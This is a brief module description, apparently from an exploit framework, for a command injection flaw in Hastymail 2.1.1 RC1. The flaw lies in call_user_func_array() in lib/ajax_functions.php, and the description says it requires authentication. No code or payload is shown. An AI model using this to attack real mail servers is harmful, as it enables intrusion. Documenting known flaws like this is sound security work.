                    This module exploits a command injection vulnerability found in Hastymail
                2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
                the "lib/ajax_functions.php" script. Authentication is required on Hastymail
                in order to exploit the vulnerability. The module has been successfully tested
                on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
